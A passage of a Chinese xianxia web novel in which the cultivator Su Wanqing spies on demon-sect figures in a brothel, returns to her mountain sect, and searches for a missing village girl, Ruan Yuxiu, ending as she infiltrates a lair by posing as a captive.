从门踏入其中,一眼望穿的是暗香坊台上几位婀娜多姿的舞女,身着轻纱衣,袅娜娉婷若仙子下落凡尘,头戴白玉簪,她们一动一静,脚随手轻盈而动,伴此动作皆传来如鸣佩环之声,十分悦耳动听。
若是她是男子,只怕也移不开眼。
几个长得极为妖孽的男倌儿拦住她的去路,他们手里的披帛轻柔地划过她的脸庞,仿佛是在挑逗她,望着她又羞涩地低头一笑,有一种欲拒还迎的错觉。
其中一个顺着苏晚清拉着的披帛转了过来,正欲揽她入怀,却没能得逞,也只是一脸委屈地盯着苏晚清,他似有几分娇嗔地道:“姑娘,你来我们暗香坊,是寒舍蓬荜生辉,让奴家好好伺候你呀——”
男子会撒娇,怕是听者魂会飘。
这都是些什么地方。
苏晚清听得鸡皮疙瘩快要掉落,但气势不能输,她挑了其中一个看上去比较顺眼的男子,缓缓抬手勾起他的下巴,审视的眼神落在他的身上,半刻之后道:“长得不错,声音也不错,重重有赏。”
随后她再次拿出燕寒舟给她的钱,丢了一些出去,那些男倌儿再回头时,苏晚清已不见踪影。
会去哪了,昨日来的杀手确实不错,轻易就破解了她的法术,可来到盛京都城竟只是挑衅,未来向她寻仇。
只有两种可能,一是他知道自己的厉害,害怕得退缩而隐蔽地躲了起来;二则是遇到了什么人,最有可能是其东家也说不准。
不知为何,苏晚清脑海里闪过了一个熟悉的名字——温衡。
她借着那股气息来到一处房间,这里是暗香坊最好的房间,一到此处,喧闹不再。
*
一靠近这房间,她便觉有一种不祥的预感。登时,她默念咒语,不消半刻,她便化作一只蝴蝶入了其间。
她贴在纱幔缠绕的红漆木柱之中,仔细地去听那些人的言语。
说话那人走了几步后,重重跪在地上,他期间忍不住瞥了瞥外面一眼,面对坐在高座的玄衣男子,道:“属下莫执,见过少主。”
看来她的猜测没错。
温衡慵懒地侧躺在座,看也没看他,眼神尽在手中转动的杯盏上,安静的时间持续了三息,他才开口道:“办好事情了吗?若未做好,回来是死路一条。”
莫执心里一紧,实在慌张,他知眼前之人的秉性如何,从万丈山归来已花费了他所有的精力。
“少主,属下不是苏晚清的对手,一切罪责皆由属下承担,请少主降罪。”莫执丢下手中的剑,任凭处罚。
温衡止住手里的动作,眼底并无杀意,他还没有来得及动手,一道力量先他而去,将莫执禁锢,随后吞噬掉其所有的生息。
“无用便是无用,少拿冠冕堂皇的理由搪塞。”莫执睁着双眼,僵硬地倒在地上,力量的粉尘散尽之时,一位女子现于温衡的眼前。
透过纱帘,苏晚清勉强看清那女子的样貌,若说这暗香坊的姑娘个个美艳无双,那女子便是群芳之主,夺目无疑。其声媚骨天成,若潺潺之水涌入心房,波澜一起,千层难复如常。
只是,下手狠了一点。
温衡难得抬了一下眼皮,见这不速之客,语气中有几分责备,“柳护法如今将这越俎代庖之事行得越来越干脆利落,眼里心里全无对少主的敬意。”
柳护法,则为柳宿眠,天魔宗宗主左护法。
柳宿眠嗤笑一声,随即抬手,将手中拿着的药水倒在了莫执身上,药水至身,莫执的身体在刹那间化作血水,流窜而去,最终渗入地面。
“少主又如何?江山易主,本性难移。你此刻若能进宫杀了司马觉,我便能敬你三分。”柳宿眠对于温衡少主的位子十分不屑,心里是万分不喜温衡,此刻对他也没有半分客气。
温衡起身,在她旁边走了一圈,在其耳边低声说道:“一次僭越,一次不忠,左护法也就仗着宗主的宠爱狐假虎威,出了天魔宗,你以为你是谁?有何资格颐指气使?”
柳宿眠轻哼道:“呵,司马觉杀不了也就罢了,一个小小的苏晚清都对付不了,温衡,我劝你趁早退位,强占雀巢,对你一点好处都没有。”
如今已过半个时辰,苏晚清的灵力只能维持半个时辰,眼下也得不了好处,一人难敌四手,她先早早溜之为好。
还未离开,门外便传来了燕寒舟的盛怒的声音,他一脚将门踹开,执剑而来,“妖女,你作恶多端,今日我便要收了你。”
帮手已来,苏晚清不再掩藏,恢复真身与燕寒舟站在一处,目光转至温衡身上。
攻击来而复返,满天的轻薄纱幔从楼上飘散开来,散于地面,掀起一阵旋风。
底下的来客见此情形也吓得落荒而逃,人流以迅雷不及掩耳之势涌出,这里的老鸨傻了眼,不敢上前,只能躲在梁柱后面探出脑袋观看。
温衡同样也在看她,眼里多了一丝不明的意味,说道:“这次又成帘窥壁听之辈,苏晚清,你真是正事不做,尽做偷鸡摸狗的事。”
早在刚才,他就察觉屋里多了一丝不可捉摸的气息,起初他并不确定是苏晚清,直到后来才能确定。
“正所谓,以彼之道,还施彼身。”苏晚清不再废话,准备动手时,耳旁又传来了温衡的声音,“这位燕少侠要抓的是柳护法,与我可无关。”
说罢,温衡并不打算与他们交手,唤来仙鹤,一跃而上,冲着底下的人说道:“冤有头债有主,宿眠,自求多福。”
苏晚清正欲去追,燕寒舟拦下了她。
柳宿眠:“……”这个毫无一点气度的死男人,竟真的抛下她离开,待她安然回山,定要好好修理他一番。
燕寒舟拔剑相向,眼里是止不住的厌恶,未等苏晚清动手,他便先下攻击,迅猛而不给对方逃脱的机会。
“小郎君这是生气了呀?下手这么猛,伤了我可有得你伤心的。”柳宿眠闪躲之余不忘调戏燕寒舟,她的芊芊玉手轻柔地划过他的脸庞,如风般从他身旁侧过。
这个举动惹恼了燕寒舟,只见他神色间怒意剧增,径直将剑刺入地下,默念咒语,光束自剑散开,蔓延至柳宿眠的周身。
苏晚清安静在旁等候,师兄自是厉害,本不需要她的帮助,她眼睁睁瞧着温衡离去,心里不是滋味。
阵法已成,杀意盎然。四面光柱被覆上克妖法的灵药,柳宿眠逃不掉。这还是苏晚清第一次见师兄有这么大的反应。
她很
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好奇,柳宿眠是莫不是对师兄做了什么不可见人的事情。
燕寒舟提剑而来,咬牙切齿地道:“妖女,我要杀了你。”
“杀死我?你舍得吗?你我有缘,有斩不断的千丝万缕。”柳宿眠站在阵法中央,欣赏般瞧着正迎面走来的燕寒舟,勾了勾手指,笑着打趣。
苏晚清见他能解决好,便上楼去探探有无重要的线索,不再逗留在此。楼上一派冷清,客人尽数被吓得溜之大吉。
*
她回到刚才的屋子,那一地的鲜血并未完全渗入铺好的地毯,她将剩余的血装入拿出的小瓶,或许这是个发现。
追杀她的人,出自天魔宗,莫不是秋无意暗自勾结温衡?
没过多久。
楼下传来一声惨叫,等她再次抵达之时,那里只剩下了燕寒舟、司马如意以及躲在暗处的老鸨。
她一跃而下,来到他们身旁,这情况不用询问便知柳宿眠已经逃走了。
而燕寒舟则是冷冷地注视着司马如意,半晌才开口:“师妹,你来得正是时候,你肩膀若没有受伤,我是会怀疑你与柳宿眠是共谋。”
司马如意捂着受伤的肩膀,也不解释,只是默默退到一旁,苏晚清拦住其人,转身对燕寒舟道:“师兄,师姐也是来帮你的。”
苏晚清带如意到楼上的空房,耐心地替她包扎,也有问过为何她会来此,司马如意只答最近在追杀京城百姓死亡案,便追到了此处。
“师姐为民除害,这是好事。我代师兄说声抱歉,还望师姐见谅。”苏晚清系好绷带后,替她拉上肩边的衣裳,对于如意的到来,苏晚清还是有疑问,“师姐是何时得到情报的?我今日才知温衡等人藏匿于暗香坊。”
司马如意顿了下,神情有些不自然,但还是如实地答道:“十日之前,盛京早有诸如此类情况发生,我与慕怀景此次归乡,是授师命而来,亦是归心似箭。”
苏晚清不知如意的话有几分真假,只是理解地点点头,扶她下楼。
这里所有的东西皆已被破坏,眼下看来是脏乱差三体具于一体,姑娘们纷纷回了房间,几人站在一处,格外突兀。
老鸨气势汹汹地挤进他们中间,指着看上去比较面善的苏晚清说道:“我告诉你们,这里每一件毁坏的东西,你、你们都得给我赔。账房,给老娘过来算算,这些都要多少钱!”
账房提着算盘,灰溜溜地坐在地上盘算,还未开始算,司马如意便扔了一袋钱过去,道:“现在够不够赔你们?不够便亲自去辅城王府领。”
“够够够够……”老鸨连忙查看里面的银子,笑得极其灿烂,赶紧揣到兜里,使了个眼色,账房会了意,又灰溜溜地远去。
老鸨叫来几位姑娘与男倌儿,说是不能亏了他们的钱,燕寒舟提剑一扫,所有人被这架势吓住,亦是仓皇回房。
这下也没什么好待的。
三人离场。
*
中途司马如意坐上慕府的马车回了府,只剩下的两人大眼瞪小眼,苏晚清试图打破沉默:“师兄,今日到底是怎么回事?”
这可真是说来话长,燕寒舟选择长话短说,他道:“客栈出了人命,我亲眼见过柳宿眠出入过逝者的房间,房中残余的灵力气息正是她散出的气息,她所修炼的功法邪门至极,我得回去请示师尊。”
苏晚清理解。
“你同我一起。”燕寒舟召来佩剑,剑身经他施法逐渐放大,他踏上剑,用眼神示意她上来。
苏晚清连连摆头,也召来自己的命剑,上去后道:“不不,我自己来就行。”之前他御剑太快,丝毫没注意身后之人,苏晚清差点吐了出来,强撑了一路。
燕寒舟不再勉强,只说:“也可。”
漆黑的苍穹划过两道微亮的剑痕,灿烂过后,余辉也在消散,高悬于空之月皎洁如初,所照之处,皆是光的点滴。
8. 阮玉秀失踪
清风明月山派一如往昔,由四座山峰和一座主峰组成,高架铁锁横纵连接五山,主峰清风明月立于中央,高出百丈,由掌门凌霄统辖。
其余五山分别为青龙峰、白虎峰、朱雀峰、玄武峰以及清风明月峰。四位长老居于四方,听候掌门调遣。
苏晚清与燕寒舟抵达时已近黎明,山门结界已开,只见燕寒舟划出一道灵符,飞向远处,那边漆黑的地方忽然亮起明灯。
两处悬空的山峰一朝被铁锁相连,化作铁桥,成为从此处到对岸的通道。她已有三年未走过这道桥。
当年离去之时,匆匆如过客,再未归来。
这些年她过得同样煎熬,到手的线索总是突然断,秋山派不断派人追杀,躲了许久,藏了许久,只是后来她不再留守,来一批人,便死一批人。
渐渐地,追杀的人逐渐转为高手,但也不是她的对手。
“到了。”燕寒舟走到她的前面,夜里的山风带着寒意,也将他的衣袂吹得翻飞,他依旧是那副面不改色的模样。
苏晚清快步跟了上去,迈步在他面前回头,带着亲昵的语气问道:“师兄,师尊召我回来做什么?你就告诉我嘛,透露一点点也可以。”
燕寒舟继续走着,沉默了几刻,当正在思考她的话,他的表情变得缓和了许多,正当苏晚清以为她的话即将石沉大海时,他说话了。
“告诉你也无妨,再过几日便是清风明月招新弟子之日,师尊有意让你我主持。”
他的话不吐不快,徐徐而来。
苏晚清愣了一下,一时无法理解他的意思,须臾过后她满脸疑惑,问道:“我如今已被逐出,若此刻出现在那几个长老面前,他们不得将我生吞活剥了?”
此事,师尊自有考量,早已将事情真伪公之于众,除去少数弟子心怀埋怨,大多弟子皆赞同苏晚清之举。
“长老知如何辨别是非,你当初执意离山,更将清风明月陷于不义之地。”
他的语气冰冰冷冷的,听不出起伏,但在苏晚清听来却有责备之意,她也能够体会他语中含意,“师兄说的我都明白,只是我要做的事情牵连甚广,我不想因我之过毁门派百年的名声。”
她的仇人不止李若酌。
燕寒舟不再与她争辩,在即将抵达对岸时叫住她,说道:“清风明月山能存百年,靠的不仅仅是一个好名声。不过,你能脱去这层身份,确实少了诸多桎梏。”
*
为他们开放通道的女修缓缓向他们走来,瞧上去文文静静的,也不怎么说话,只是象征性地与燕寒舟打招呼,目光移到苏晚清身上时,不知应该如何称呼。
苏晚清对这个女修有几分印象,她面带微笑,热心地道:“唤名字即可,不用这么客气。你是裴忆锦吧?”
从女修的反应来看,就是这个名字。
裴忆锦闻言脸色煞白,没曾想会在此遇到苏晚清,眼神飘忽不定,不敢与苏晚清对视。
这倒令苏晚清一头雾水,自己也没这么凶神恶煞,怎的还会吓到这姑娘?
之后,燕寒舟道:“裴师妹,今日多谢,你先回去。”
苏晚清看着那道匆匆离去的背影,忍不住问道:“她看上去很紧张,是因我而起吗?”
“是。”燕寒舟顺着她的目光望去,慢慢地解释道,“三年前正是她在你房中搜出万俟掌门的法宝聚魂铃。”
听他这么一说,苏晚清犹如醍醐灌顶一般,“这是怕我报复,我没这么小心眼。”她也不追究,当年的事,谁又说得准,惘然已去,便不计从前罢。
他没再说话。
两人来到师尊的房中,燕寒舟结印施法,取碧水潭上的一滴水,挥至大门中央镂空之处,光波随即震开,紧闭的大门徐徐打开。
见了师尊,苏晚清心里没来由地慌,早前她断绝了一切联系,此刻她有些心虚。但师尊见了她,只是淡淡地交代要做的事情,也不过问她这几年做了何事。
还真就如燕寒舟所说那般,她有些不明白,为何偏偏是她,于是她壮着胆子问道:“师尊,为何是我?”
话音刚落,他们两人中央便出现了一颗灿若繁星的明珠,熠熠生辉,令人可望而不可即,上面清清楚楚地写着“苏晚清”“燕寒舟”以及其他人的名字。
凌霄收回灵器,解释道:“这是占天所出的提示,此次机缘全在你二人。”
机缘……
苏晚清不想要机缘,只想下山,她尝试与凌霄商量,“可我——弟子并非本门中人,这当真不会引起非议?”
“这你不必担忧,本座自有主张。”凌霄摆手,打消她的疑虑,这可是个千载难逢的机会,不可放过。
苏晚清半信半疑地随着燕寒舟离开,这么晚了,她也下不去山,只好麻烦燕寒舟带她前去东藏峰住下,明日再下山。
好不容易来此一遭,她有许久未见阮玉秀,想明日下山去瞧瞧。
*
远处传来窸窸窣窣的声音,不久便见一女子鬼鬼祟祟地正往这里赶来,东看西看的,也没看出何名堂。
燕寒舟走过去,剑悬于其后背,轻咳了一声,严肃地道:“崔瑶师妹,这个时辰已经夜禁,违者当去戒律堂受罚。”
他话锋一转,又道:“虽有过,但能挽回。你带她回住处,我此次便放了你。”
崔瑶之前犯过几次夜禁,皆是被燕寒舟当场抓包,这次一如从前,她自然不想回戒律堂,于是就答应了提议,不情不愿地与苏晚清一道回去。
黑夜之中的那轮明月照着前路,月光将两人的影子慢慢拉长,崔瑶举着灯,心里越想越生气,终于在进门之时爆发:“苏晚清,走了那么久,你回来做什么?一回来就要与大师兄一起,我讨厌你!”
苏晚清:“……”
门被重重关上,随后又被打开。
她走了进去,刚迈出一步,又听到崔瑶愤怒至极的声音响在耳边:“不许靠近我。你去睡那边。你这人,总是没心没肺,既然当初铁了心要离开,现在又眼巴巴地回来算什么?算你是个成事不足败事有余的无能之辈!”
忍,为上上之策。
这间屋子是她与崔瑶共同的住处,自她离去,崔瑶便是一人居住,所有杂物都堆在了她之前睡的床上,满满当当,堆积成山。
崔瑶盯着她,继续生气,继续输出。
“苏晚清,我真是不明白了,你这三年怎么有脸在外打着清风明月派的名头招摇撞骗的?灭无尘派、杀九幽怪如此兴师动众。你可真是让我长了见识。”
“苏晚清,你真是恬不知耻,活该你被人追杀。我看你就是个没心没肺的白眼狼。”
“苏晚清,你……”话又被崔瑶咽了回去,苏晚清静静地居高临下看着崔瑶,也不打断话,只是默默地听着。
“盯着我做什么?”
刹那之间,苏晚清蹲在崔瑶的旁边,依旧温柔地看着她,话里全无半分威胁的意思,“说完了吗?说完了帮师姐整理一下。”
崔瑶凑过去,那双充满挑衅的眼神悄无声息地落在了苏晚清的身上,“你还能打我不成?动手啊,我求你动手。”
这个要求,苏晚清还是鲜少听到。毕竟还是师妹,她一脸笑意地说道:“你很了解我,知道我不会。我还是很好奇,师妹为何如此不待见我,仅仅是因为喜欢燕师兄?”
崔瑶被她说中心事,气急败坏败坏地道:“你不要胡言乱语,我没有喜欢大师兄。”
“那你这么针对我做什么?”苏晚清趁机坐在崔瑶的床边,瞧着那提到燕寒舟一脸娇羞的女子,继续问道,“我都不计较你把我的私房钱私吞的事,今日我要个答案,师妹不给我,我绝不会从你的床上离开。”
崔瑶冷不丁地白了她一眼,对其话置若罔闻,准备睡觉,却被苏晚清一把拉起,生气地摆开她的手,再次躺下。
“崔瑶,醒醒。”对方还是不理会,苏晚清也躺了下来,旁边的女子吓得大叫,之后嘴巴便被捂住了。
崔瑶大惊,道:“苏晚清,我不和你一起睡。你给我下去!”
苏晚清才不理她,选择翻身背对着崔瑶,慢慢开口道:“我就想知道你是否因燕寒舟对我生了嫌隙?燕师兄这个人虽然冷冰冰的
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,但人还不错,上山那会儿他还向我提起师妹了。”
“说了什么?苏晚清,大师兄他说了什么?”崔瑶一听便来了兴趣,从床沿又挪了过来,贴着苏晚清问道,势必要得到个答案。
“说,崔瑶师妹温柔乖巧,心肠极好。”
这明显就是哐人的谎话,就不该相信苏晚清的话。
崔瑶犹如一盆冷水泼下,手未触及到身旁的人便感一阵小风忽起,轻轻拍在脸上。下一刻,苏晚清已将所有东西收拾好,躺在床上,阖上了双眼。
“苏晚清,这几年你到底在做什么?”回应崔瑶的只有沉默,整间屋子里传来了苏晚清轻微的呼吸声,这苏晚清也真是放心,一点也不怕她崔瑶暗下杀手。
苏晚清,真是个怪人。
*
黎明一至,苏晚清的困意渐消,她看着熟睡的崔瑶,被子落了一地。她轻轻地替其盖好被褥,而后出门一一拜会各峰长老。
既然是误会,那她回山也并无不妥。
这里的弟子对她还算热情,当她是师姐,也有几分尊重与薄面。烈日之下,她漫步于青龙峰,想着去借几本书籍打发时间。
怎料,她目光眺望之际,突然发现山门对面跑来一个约莫十二三岁的少年,几乎是狂奔而来,期间差点从高山掉落,看得苏晚清是担心极了。
少年很快抵达这里,着急忙慌地从她身旁掠过,那面容有几分熟悉,逐渐与印象中那张脸重叠在一起,她立即转身,叫住那位少年:“阮长言!”
少年停住脚步,一脸疑惑地回头,汗液自他额间迅速滑落,他喘着大气,半蹲在地上,调整好了之后才打量苏晚清,道:“你怎么会知道我的名字?我第一次上山。”
当时他年幼,不记得也在情理之中。苏晚清为他输送一些灵力,助他平稳下来,而后道:“苏晚清这个名字还记得吗?我正要下山寻你姐姐。”
少年大脑迅速运转,脸色登时从慌张转为惊喜,又再度转为担心。
阮长言眼眶里的泪花泛滥,似要掉落下来,他像是抓住了一颗救命稻草一般握紧苏晚清的手,急切地道:“苏姐姐,我姐姐她不见了!!我担心她,我我害怕她被妖怪捉走,我报了官,没有用。我找不到姐姐,苏姐姐。”
有那么一瞬间,阮长言的泪水毫无征兆地掉落下来。苏晚清连连安抚他,禀告师尊后便御剑带着他下山,赶往草木村。
草木村隶属清平县,不消半个时辰便可抵达。
周围绿树葱郁,四处花草葳蕤生长,这里不算偏僻,常年会有前来看山赏花的看客来此驻扎几日。旁边屹立的梁月亭经年风吹日晒,红漆已经褪去不少,露出原本的木色。
木桩牌匾上的“草木村”三字经久雨淋,勉强看出“早木寸”。
阮长言受不住这么快的速度,趴在一旁吐了出来,“呕——噗——”
忽然有一位佝偻的老者提着水桶出现,跛着脚一颠一颠地走来,她走过去询问,见老者有浇花之意,她立即接了手,替老者舀水淋花草。
“老伯伯,这些花都叫什么名字?”苏晚清看着这些倒心形且相互交错的的红色花瓣与淡紫色花瓣,它的基部颜色较深,多数茎呈褐色。
花低矮整齐,叶茂密青翠。
老伯伯摸着最鲜艳的花朵,瞥了她一眼,解释道:“它叫红花酢浆草,又叫夜合梅。草木村山林众多,时常有蛇类出没,此草是解蛇毒最好之物。”
苏晚清将水淋在这一片红花酢浆草中,清晨的露珠仍停在叶中,经她的动作,大大小小的露珠滑落至草之底部,松了土壤,也让其得到了足够的水源。
她向老伯伯拿了些红花酢浆草,放在身上,老伯伯也毫不吝啬地赠予她一些,说是这些花本就是野生土长的,谁都可以采去。
她道:“老伯伯,你可曾见过阮玉秀,刘大婶家的五姑娘。”
“没见过,你自己去问刘大婶。”
老者闻言一惊,连忙摆头指了指后面,让她直走到拐角后左转,之后看到一条河再右转,最后直走便能看到一棵高大的槐树,那就是刘大婶的家。
9. 又是这个难缠竹子精
这老者看着一脸心虚样,她再想询问其他方面的话,他是闭口不谈。苏晚清没了着落,便先带着阮长言步入草木村之中。
天忽然下起了淅淅沥沥的小雨,她向附近的人家买了两把伞,一把给阮长言,一把给自己。后来雨下得实在太大,他们只能躲进一间废弃已久的屋子躲避。
“你姐姐是何时不见的?失踪之前可有异样?可有去她常去之地寻找?”
阮长言说是前日去市集买菜,半夜未曾归家,但他有预感阿姐曾回来过,昨夜他能感觉阿姐是在他附近的,可是待他醒来跑到院中呼唤却无人应答。
失踪之前并未异样,阮长言能去的地方都已去过,但仍是无疾而终。
“苏姐姐,你衣裳有血。”阮长言四处看看,一不小心便瞧见了她衣袂上沾着的鲜血,提醒着。
苏晚清抬手查看,竟真有一处暗沉的鲜血,她仔细检查了一番,原是她不小心贴在墙上,不小心沾上的。
等等,墙上有血。
她转身一看,满是灰尘的墙壁竟有一处格外地干净,那处被卷成一团的稻草与布料所遮掩,远看并无异样。走近时便能发现,有股腥臭的气息扑面而来,上面的液体已经渗入布料,一点一点地滴在地面。
阮长言脑海里闪过所有关于玉秀不好的事情,惊慌地道:“这,这会不会是阿姐留下的?”
苏晚清不确定,只能先安抚好他,她在这里设下结界,隐去现场原本的面貌,以免有不知情的村民破坏此处或是引起恐慌。
外面的雨小了许多,斑驳的日光透过破烂的屋顶照了进来,刚好洒在带有鲜血之地,与这雨相互缠绕。
她带着阮长言回到家中,步至门外,便听到传至外界的吵闹之声,妇人谩骂与孩童哭泣的声音混杂在一起,路过的村民一脸晦气地摇着头离开,也不说些什么。
过了一会儿,妇人又骂道:“你们那姐姐不知道死哪去了,两日未归,是不是找到野男人私通了?胆子肥了,敢夜不归宿!”
“让嫁给王公子也不嫁,不知道从哪捡个来路不明的女子对我施展妖术,哼,早知如此,当初就让她烂死在外面好了,省得我麻烦。”妇人的话一下子就刺中了少年的心,他握紧拳头,耳旁全是对阿姐的辱骂,他一脚踹开大门,冲那妇人生气地喊着。
“伯母,我姐姐是失踪,不是你口中的私通出逃,你从前打骂我们,我们只当是我们不服管教,如今我们已经成人,绝不会任你随意欺负。”
妇人的嘴向下曲折,瞪着眼睛,恶狠狠地死死盯着他们二人,浮起一丝不屑的笑容,她像是听到了笑话一般,道:“哟,这话给我这老妇人逗笑了,你们这几年哪样东西不是用我的,现在翅膀硬了,跑来我面前来说这些冠冕堂皇的话,真有本事,就去赚钱,还我这十年来的养育之恩。”
“苏晚清,你怎么还有脸来这里的?”妇人将嘴里的东西吐在阮长言的脸上,猛得起身撞开长言,走到苏晚清跟前,指着她骂道,“说,是不是你给我下了咒?你个贱蹄子,我真想撕烂你这张脸,看着我倒胃口,识相的赶紧解了妖术,不然就跟我去见官。”
苏晚清神情微变,只是平静地回应对方一副凶狠的眼神,她抬手,行了个礼,直接忽略了那些难听的言语,客气地道:“伯母,我从未对你下过妖术,谈何解之一字?”
她继续道:“我此次来是想知晓玉秀的消息,还望伯母能够如实告知于我。”
刘大婶裂开嘴,那双有些凹陷的眼睛露出凶光,讥讽般的笑容出现在其脸上,语气是那么轻蔑,“你们在外面听了那么久的墙角,耳朵白长的吗?阮玉秀早就和野男人跑了,她哪儿还知道回来,傍上有钱人就把我们几个孤儿寡母撇得干干净净,死没良心的,要遭天谴。”
“你胡说,明明是你,要不是你逼着阿姐,阿姐就不会失踪。”
阮长言说完话害怕地躲在苏晚清的身后,里面的孩子视若无睹地继续吃饭,对这外界的动向丝毫不为所动。
“逼?长言,你哪来的脸说这话,啊?玉秀哪一次不是为了你?我倒希望她死在外面,这样还能省下一口饭吃。你说是不是……”话被扼杀在喉咙之中,刘大婶面露惊慌之色,一把透明的剑抵在其眉间,只消轻轻一推,便会穿透而过。
苏晚清已经全无耐心,出手将其声音掩盖,她将刘大婶带出门外,迅速将门关上。
她问道:“刘大婶,我本无意伤你,只想问你几个问题,你只须点头或是摇头。”
刘大婶张着嘴巴,却说不出任何话,但能听到外界的声音,只能瞪着她重重地点头。
“玉秀是何时出的门?”
苏晚清抬手解开禁锢,下一刻刘大婶准备破口大骂时又被封言,“晚一刻,玉秀都有危险。玉秀一直将你当作最亲近的人,我不信她不会撇下你和长言独自远走。”
三年前,阮玉秀曾经说过,伯母虽然见钱眼开,但好歹将她抚养长大,也没少吃穿用度,待她也是好的。
刘大婶这一次便老实了许多,回答道:“前日辰时,中途慌慌张张地跑回来说什么有人跟踪她,我当时觉得她是在说笑,故意偷懒,没太在意。之后就再也没有回来,没准儿被荒山上面的妖怪给吃了说不定。”
长言道:“胡说,阿姐明明是晚上才回来的,怎么会是白日?”
事实就是如此,刘大婶摊了摊手,不在意般地说:“信不信由你。”
苏晚清再问:“她经常去荒山吗?”
这一次是阮长言答:“阿姐经常去。”
“你是否曾与村中人结仇怨?”苏晚清想到另外一种可能,那便是因怨气而生的纠纷。
答案为是,而且为多数,刘大婶与草木村里的村民几乎都结过梁子,但碍于阮玉秀善良讨人喜欢的性子,也减少了许多矛盾。
这里问不出什么重要的线索,苏晚清只能先行离开,暗自观察刘大婶提供出最有可能掳走阮玉秀的名单。
据刘大婶所言,玉秀曾中途回来过一次,但长言却说自己在晚上感觉到玉秀的已经回来,若他们的猜想没有过错,那这其中一定发生过什么事情。
荒山,阮玉秀曾去过荒山,她是否应该去探访。
草木村里的村民一切如初,除了今早在村外见到的大爷家中传来几阵吵闹的声音之外,并无异样可寻。
她决意去荒山探访,若是玉秀真遇到了山妖,后果便是不堪设想。
她将唤语花送给阮长言,只要对着花默念三次她的名字,她便会赶到,但也仅有一次奏效的机会,望他不会遇到磨难。
*
漆黑的夜中,她独自走在僻静的森林之中,自入林以来,苏晚清便觉有无双眼睛默默地盯着她,观察她的动向。
阴森的气氛逐渐蔓延,风吹枝桠的声音宛若鬼魅哭泣,令人不寒而栗,此处的月光尽数被黑暗笼罩,整座山林陷入无边的寂静。
远处传来一声动响,她立即追了上去,抵达之处已是临近悬崖的地方,从这里俯瞰而下,恰如深渊,深不见底。
莫不是在这下面?
就在此刻,底下忽然飞出几只乌鸦,嘶叫声若人呜咽,只差一点便落在苏晚清的脸上,她的手中幻化出瑶光镜,照在深渊之下。
随后,她御剑而下,下坠的速度尤为极速,冷冽的风冲散她的发丝,侵扰着她的呼吸。眼前唯有剑光可见,如百川归海般落至地底。
呲呲呲。
萤火灯是清风明月派所创的夜行之物,能在夜中支撑两个时辰,灯照前路,也扫清诸多障碍。
她在崖底走了许久,什么发现都没有。这里长满了许多灌木丛,不远处还有条小溪。只是进来已久,身体多多少少也受到影响,呼吸的频率逐渐增加。
继续走着。
脚下传来“嘎吱”的声音,苏晚清闻声而去,手拿着灯缓缓凑近那个地方。
白色的粉末拼接在一起,似五指张开的节骨,她心里忽然闪过一个念头,灯迟缓地向上移去。映入她眼帘的是五官镂空,似在对她发笑的骷髅头。
诡异的笑,令人背后不由得一凉。
这一刻,苏晚清心漏了半拍,眼底竟闪过一丝慌乱,她差点将手里的萤火灯丢开。她踩断的正是那具尸骨的膝盖,苏晚清在心里默
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念“罪过罪过”二字。
随即便仔细检查了这具尸骨,从尸骨如今的模样可知,其主人为男,死在约莫前几日。
并非玉秀。
这人会是谁?
倏忽之间,有一剑从上方袭来,她躲避之时剑径直刺入尸骨的头部,将其化为灰烬,再不能拼成原状。
她执剑往上赶去,藏在暗处,却见山妖庞大的身躯遮蔽了天上的月,两手分别抓着村民,张开嘴巴,獠牙作势要咬住他们的脖子。
千钧一发之际,苏晚清出手救了他们,并一剑打伤山妖,还未等她询问,那两人便已溜得无影无踪,这背影瞧上去倒是熟悉。
她问山妖:“你是否杀害了一个叫阮玉秀的女子?”
山妖捂着受伤的嘴,瞪着那双星星眼,委屈地道:“没见过。”
她作势又要动手,山妖连忙道:“小妖真没见过什么姑娘,若有半句虚言,定死于姑娘剑下。”
“底下的人是你杀的?”量它也不敢欺瞒,线索到此又断了,她想起崖底的男人,问道。
山妖这次说得极为虔诚,道:“不不不,我吃他的时候他已经没气了,仙女,吃死人无事吧。”
“你当真没骗我?”苏晚清见它连连点头,又问道,“阮玉秀你可见过?刚才逃走的人认不认识?”
山妖确实认识阮玉秀,只因玉秀时常上山捡柴,它总在暗处偷偷观望着这个娴静的女子,但这两日确实没见阮玉秀上山。
它仔细想了想,道:“一个是刘翠花的老情人何必,一个是张老头的亲儿子张三。哦对了,底下死的那个人正是张老头的亲孙子张肇。”
何必、张肇。
“我喜欢山下的热闹,经常化作人形去往草木村,一来二去就见过草木村里面的人。”像是知道苏晚清即将询问的问题一般,山妖选择提前交代好准备的语言,等待她的发落。
山妖是使用山石为武器,既然如此,刚才落下的剑之主便另有其人,她的想法一出,天边便传来一声女子的叫喊声。
“女侠,我可以走了吗?”
掠过的倩影在远方出现,山妖自认倒霉地捂着流血的嘴一蹦一跳地回洞府,也不再半夜出现。
*
“老大,你说这个姑娘少主会喜欢吗?上次柳护法让我们送去的姑娘太丑,少主将我们都狠狠地惩罚了一顿,这次他真能满意?”
“哎管他的呢,柳护法有令,你我照办就行了,管那么多,小心小命不保。”
两人有一茬没一茬地讨论是否妥当,丝毫没有注意危险正在靠近,待他们反应过来时,苏晚清一人一掌将其拍晕。
麻袋里的女子仍在挣扎,她将袋子划破,救了那名女子出来,交给其护身的宝物,而自己则代替其人进入他两口中的地方。
待那两人醒来之时,只觉自己是被什么东西重重地砸了一下,又看完好无损的麻袋,互损对方疑神疑鬼,将人扛进山洞之中。
吩咐丫鬟给她梳妆打扮,势必得漂漂亮亮,最好是夺得少主芳心,之后少主就会好好赏赐他们,不说升官加爵,至少得五十两黄金。
途中苏晚清微睁眼眸,借着余光看清镜中的为她梳妆的两个侍女,任由她们摆弄自己的青丝,原本的银色发簪被取下丢在地上,苏晚清暗暗施法拿了回来,藏在衣袖之中。
她换上一身艳丽的衣裳,娇艳夺目,一看就是照着秦楼楚馆之中女子的打扮,耳旁两处青丝由玄色发簪缠绕并系在发髻之下,其余青丝半散在身后。
梳妆完毕之后,便是换上已经准备好的衣物,随后便被抬到一处较为温热的房间,那些人将她轻轻地放在床上,便自觉地关上门离开。
苏晚清内心忍不住道:“这不像是杀人手法,倒像青楼老鸨的手笔,他们口中的少主莫不是温衡?”
……是或是不是,都无异。
石门忽然被人推开,那人脚步轻盈,踏入其内,转身便将门关上。他瞧见桌上亮着的红色蜡烛,心里便已有所了然。
他坐在桌旁,目光落在纱幔之后躺着的女子,忍不住先道:“今日送来的倒是位极好的美人。”
10. 胜之不武又如何
这熟悉的声音定是温衡无疑。
他灭掉一根蜡烛,此处便暗下三分,他的手指卷缩在一起,无声地敲着桌上,又将饮完的酒樽倒扣摆好。
